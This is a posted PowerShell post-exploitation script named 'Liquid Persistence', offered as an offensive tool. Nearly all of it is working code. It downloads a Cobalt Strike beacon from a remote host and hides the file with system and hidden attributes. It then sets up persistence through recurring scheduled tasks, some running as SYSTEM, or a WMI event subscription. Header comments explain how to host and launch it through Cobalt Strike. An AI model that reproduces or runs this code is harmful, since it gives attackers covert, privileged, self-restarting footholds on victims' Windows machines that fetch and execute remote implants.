Liquid Persistence
Posted: 01-28-2025
Language: Powershell
<#
# Liquid Persistence
#
# Author : Trigat
# License : GNU General Public License v3.0
#
# Usage:
# powershell -ExecutionPolicy Bypass -File "C:\path\liquid.ps1" <mode>
#
# Supported modes:
# task = Create scheduled task as non-elevated user
# tasksystem = Create scheduled task running as SYSTEM
# taskrun = Run scheduled task immediately
# taskdll = Create scheduled task to execute DLL as SYSTEM
# taskclean = Remove scheduled task
# wmi = Create WMI Event Subscription as SYSTEM
# wmiclean = Remove WMI Event Subscription
#
# Example:
# .\liquid.ps1 wmi
#
# Notes:
# - Update $bPath and $bName below to match your beacon binary (or payload).
#
# Cobalt Strike Example:
#
# * Host beacon at an HTTP(S) endpoint.
# Within Cobalt Strike, navigate to Site Management > Host File.
# Host with domain name or IP: http://domain.com:80/beacon.exe
#
# Use Cobalt Strike to upload the script.
# beacon> upload C:\payloads\liquid.ps1
#
# Execute:
# beacon> shell powershell -ExecutionPolicy Bypass -File "C:\windows\tasks\liquid.ps1" wmi -Verb RunAs
#>
param ([string]$mode)
$bPath = "https://domain.com:443/beacon.exe"
$bName = "beacon.exe"
switch ($mode) {
"task" {
# Command to run as Non-Administrator
$dPath = "c:\users\public\$bName"; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile($bPath, $dPath)
attrib +s +h $dPath
$UserName = [System.Environment]::UserName
$DUP = 'dupdate'; $HM = "-Command `"if (!(Get-Process -Name $DUP -ErrorAction SilentlyContinue)) { Start-Process '$dPath' }`""; $N = New-ScheduledTaskAction -Execute "powershell.exe" -Argument $HM; $TR = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 3); $S = New-ScheduledTaskSettingsSet; $ST = New-ScheduledTask -Action $N -Trigger $TR -Settings $S; Register-ScheduledTask dupdate -InputObject $ST;
}
"tasksystem" {
# Command to run as Administrator
$dPath = "C:\Windows\ServiceProfiles\NetworkService\AppData\Local\$bName"; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile($bPath, $dPath)
attrib +s +h $dPath
$DUP = 'dupdate'; $HM = "-Command `"if (!(Get-Process -Name $DUP -ErrorAction SilentlyContinue)) { Start-Process '$dPath' }`""; $U = "NT AUTHORITY\SYSTEM"; $R = "Highest"; $SA = "ServiceAccount"; $P = New-ScheduledTaskPrincipal -UserID $U -LogonType $SA -RunLevel $R; $N = New-ScheduledTaskAction -Execute "powershell.exe" -Argument $HM; $TR = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2); $S = New-ScheduledTaskSettingsSet; $ST = New-ScheduledTask -Action $N -Trigger $TR -Settings $S -Principal $P; Register-ScheduledTask dupdate -InputObject $ST;
}
"taskdll" {
# Command to run as Administrator
$dPath = "C:\Windows\Tasks\$bName"; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile($bPath, $dPath)
attrib +s +h $dPath
$DUP = 'dupdate'; $HM = "-Command `"if (!(Get-Process -Name $DUP -ErrorAction SilentlyContinue)) { Start-Process 'C:\\Windows\\System32\\rundll32.exe' -ArgumentList '$dPath,StartW' }`""; $U = "NT AUTHORITY\SYSTEM"; $R = "Highest"; $SA = "ServiceAccount"; $P = New-ScheduledTaskPrincipal -UserID $U -LogonType $SA -RunLevel $R; $N = New-ScheduledTaskAction -Execute "powershell.exe" -Argument $HM; $TR = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 10); $S = New-ScheduledTaskSettingsSet; $ST = New-ScheduledTask -Action $N -Trigger $TR -Settings $S -Principal $P; Register-ScheduledTask dupdate -InputObject $ST;
}
"taskrun" {
# Run scheduled task
$DU = "dupdate"; $BN = Start-ScheduledTask -TaskName $DU; $BN
}
"taskclean" {
# Remove Task
unregister-ScheduledTask -TaskName "dupdate" -Confirm:$false
$dPath1 = "c:\users\public\$bName"
$dPath2 = "C:\Windows\ServiceProfiles\NetworkService\AppData\Local\$bName"
$dPath3 = "C:\Windows\Tasks\$bName"
# Function to remove attributes and delete file
function Remove-File {
param (
[string]$filePath
)
if (Test-Path $filePath) {
# Remove hidden and system attributes
attrib -s -h $filePath
# Delete the file
Remove-Item $filePath -Force
Write-Host "Deleted: $filePath"
}
else {
Write-Host "File not found: $filePath"
}
}
# Check paths
Remove-File -filePath $dPath1
Remove-File -filePath $dPath2
Remove-File -filePath $dPath3
}
"wmi" {
# WMI Event Subscription
$dPath = "C:\Windows\ServiceProfiles\NetworkService\AppData\Local\$bName"; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile($bPath, $dPath)
attrib +s +h $dPath
$FilterArgs = @{name='dupdate'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"}; $Filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs; $ConsumerArgs = @{name='dupdate'; CommandLineTemplate="$dPath";}; $Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs; $FilterToConsumerArgs = @{Filter = [Ref] $Filter; Consumer = [Ref] $Consumer}; $FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
}
"wmiclean" {
# Remove WMI Event Subscription
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'dupdate'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'dupdate'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
$dPath = "C:\Windows\ServiceProfiles\NetworkService\AppData\Local\$bName";
# Function to remove attributes and delete file
function Remove-File {
param (
[string]$filePath
)
if (Test-Path $filePath) {
# Remove hidden and system attributes
attrib -s -h $filePath
# Delete the file
Remove-Item $filePath -Force
Write-Host "Deleted: $filePath"
}
else {
Write-Host "File not found: $filePath"
}
}
# Check paths
Remove-File -filePath $dPath
}
default {
Write-Host "Invalid mode specified. Use 'task', 'tasksystem', 'taskdll', 'taskrun', 'taskclean', 'wmi', or 'wmiclean'"
exit 1
}
}